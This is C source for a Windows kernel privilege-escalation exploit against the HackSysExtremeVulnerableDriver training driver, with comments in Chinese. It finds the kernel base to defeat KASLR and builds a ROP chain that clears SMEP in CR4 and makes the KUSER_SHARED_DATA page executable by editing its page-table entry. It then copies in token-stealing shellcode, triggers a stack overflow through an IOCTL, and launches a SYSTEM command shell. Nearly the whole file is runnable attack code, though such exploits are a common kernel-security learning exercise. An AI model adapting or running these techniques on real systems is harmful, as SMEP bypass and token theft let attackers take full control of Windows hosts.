#ifndef KASLR_H
#define KASLR_H
#include <windows.h>
#include <psapi.h>
#include <stdio.h>
#include <string.h>
// 自动链接 Psapi.lib，免去手动配置 VS 属性的麻烦
#pragma comment(lib, "psapi.lib")
// 获取内核模块基址的辅助函数
// 使用 static 关键字防止在多个 .c 文件引用时出现重定义错误
static unsigned long long GetKernelModuleAddress(const char* targetModuleName) {
    LPVOID drivers[1024];
    DWORD cbNeeded;
    int cDrivers, i;
    unsigned long long address = 0;
    // 1. 获取所有驱动的加载地址列表
    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
        cDrivers = cbNeeded / sizeof(drivers[0]);
        // 2. 遍历列表，查找名字匹配的驱动
        for (i = 0; i < cDrivers; i++) {
            char szDriver[MAX_PATH];
            // 获取驱动的基础名称 (例如 ntoskrnl.exe)
            if (GetDeviceDriverBaseNameA(drivers[i], szDriver, sizeof(szDriver) / sizeof(szDriver[0]))) {
                // 不区分大小写比较
                if (_stricmp(szDriver, targetModuleName) == 0) {
                    address = (unsigned long long)drivers[i];
                    // 这里可以注释掉打印，以免干扰 EXP 的输出
                    // printf("[+] Found %s at address: 0x%llx\n", szDriver, address);
                    break; 
                }
            }
        }
    }
    else {
        printf("[-] EnumDeviceDrivers failed or buffer too small.\n");
    }
    return address;
}
#endif // KASLR_H

#include <windows.h>
#include <stdio.h>
#include "kwin.h"
// 驱动设备名称
#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
// IOCTL 码：0x222003 
#define HEVD_IOCTL_STACK_OVERFLOW 0x222003

unsigned char shellcode[] = {
  0x48, 0x31, 0xC0, 0x65, 0x48, 0x8B, 0x80, 0x88, 0x01, 0x00, 
  0x00, 0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x49, 0x89, 
  0xC1, 0x48, 0x8B, 0x80, 0x48, 0x04, 0x00, 0x00, 0x48, 0x8B, 
  0x00, 0x48, 0x8B, 0x50, 0xF8, 0x49, 0x89, 0xC0, 0x48, 0x8B, 
  0x00, 0x48, 0x83, 0xFA, 0x04, 0x75, 0xF0, 0x49, 0x8B, 0x50, 
  0x70, 0x48, 0x83, 0xE2, 0xF8, 0x49, 0x8B, 0x89, 0xB8, 0x04, 
  0x00, 0x00, 0x48, 0x83, 0xE1, 0x07, 0x48, 0x01, 0xCA, 0x49, 
  0x89, 0x91, 0xB8, 0x04, 0x00, 0x00, 0x65, 0x48, 0x8B, 0x04, 
  0x25, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x90, 0x90, 0x00, 
  0x00, 0x00, 0x48, 0x8B, 0x8A, 0x68, 0x01, 0x00, 0x00, 0x4C, 
  0x8B, 0x9A, 0x78, 0x01, 0x00, 0x00, 0x49, 0x81, 0xCB, 0x00, 
  0x02, 0x00, 0x00, 0x48, 0x8B, 0xA2, 0x80, 0x01, 0x00, 0x00, 
  0x48, 0x8B, 0xAA, 0x58, 0x01, 0x00, 0x00, 0x31, 0xC0, 0x0F, 
  0x01, 0xF8, 0x48, 0x0F, 0x07, 0xFF
};
#define POP_RCX_RET 0x2079ac
#define POP_RAX_RET 0x201862
#define POP_RDX_RET 0x3d0dea
#define POP_R8_RET 0x201861
#define MOV_CR4_RCX_RET 0x3a0397
#define mov_rax_qword_ptr_rcx_ret 0x32c1b0
#define add_rax_qword_ptr_rcx_0xa0_ret 0x649ce1
#define mov_byte_ptr_rax_cl_ret 0x49cadd
#define RET 0x20003e
int main() {
    HANDLE hDevice;
    DWORD bytesReturned;
    BOOL success;

    // 1. 获取驱动句柄
    printf("[*] Opening Driver...\n");
    hDevice = CreateFileA(
        DEVICE_NAME,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open driver! Error: %d\n", GetLastError());
        return 1;
    }
    printf("[+] Driver opened successfully!\n");

    // 2. 准备内存存放 Shellcode
    LPVOID lpPayload = VirtualAlloc(
        NULL,
        sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
  
    if (!lpPayload) {
        printf("[-] Failed to allocate memory for shellcode!\n");
        return 1;
    }
  
    // 把 Shellcode 复制进去
    memcpy(lpPayload, shellcode, sizeof(shellcode));
    printf("[+] Shellcode located at: 0x%p\n", lpPayload);
  
    LPVOID userBuffer = VirtualAlloc(
        NULL,
        0x900,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    memset(userBuffer, '\x41', 0x818);
    unsigned long long kernelbase=GetKernelModuleAddress("ntoskrnl.exe");
    unsigned long long ExpAllocatePoolWithTagFromNode=kernelbase+0x2BC81F;
    unsigned long long memmove=kernelbase+0x413540;
    unsigned long long MiGetPteAddress=kernelbase+0x298780;
    unsigned long long pte_addr=(0xFFFFF78000000000 >> 9) & 0x7FFFFFFFF8;
    DWORD64* rop = (DWORD64*)((DWORD64)userBuffer + 0x818);
    int index = 0;
    *(rop + index++) = POP_RCX_RET+kernelbase;
    *(rop + index++) = 0xb50ef8 ^ (1UL << 20) ^ (1UL << 21);
    *(rop + index++) = MOV_CR4_RCX_RET+kernelbase;
    *(rop + index++) = POP_RAX_RET+kernelbase;
    *(rop + index++) = pte_addr+0x7;
    *(rop + index++) = POP_RCX_RET+kernelbase;
    *(rop + index++) = MiGetPteAddress+0x13-0xa0;
    *(rop + index++) = add_rax_qword_ptr_rcx_0xa0_ret+kernelbase; //add rax, [rcx+0xa];ret;
    *(rop + index++) = POP_RCX_RET+kernelbase;
    *(rop + index++) = 0;
    *(rop + index++) = mov_byte_ptr_rax_cl_ret+kernelbase;
    *(rop + index++) = POP_RCX_RET+kernelbase;
    *(rop + index++) = 0xFFFFF78000000000+0x720;
    *(rop + index++) = POP_RDX_RET+kernelbase;
    *(rop + index++) = (DWORD64)shellcode;
    *(rop + index++) = POP_R8_RET+kernelbase;
    *(rop + index++) = 0x200;
    *(rop + index++) = memmove;
    *(rop + index++) = RET+kernelbase;
    *(rop + index++) = 0xFFFFF78000000000+0x720;

    printf("[*] Triggering Stack Overflow...\n");
    printf("    Buffer Size: %d\n", 0x900);
    printf("    Overwriting RET with: 0x%p\n", lpPayload);

    // 4. 发送 IOCTL 触发漏洞
    success = DeviceIoControl(
        hDevice,
        HEVD_IOCTL_STACK_OVERFLOW,
        userBuffer,
        0x900,
        NULL,
        0,
        &bytesReturned,
        NULL
    );

    if (!success) {
        printf("[-] DeviceIoControl failed! Error: %d\n", GetLastError());
    } else {
        printf("[+] Payload sent!\n");
    }
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    si.cb = sizeof(si);
  
    // 此时已经是 System 权限，再创建的子进程也是 System
    CreateProcessA(NULL, "C:\\Windows\\System32\\cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
    CloseHandle(hDevice);
    return 0;
}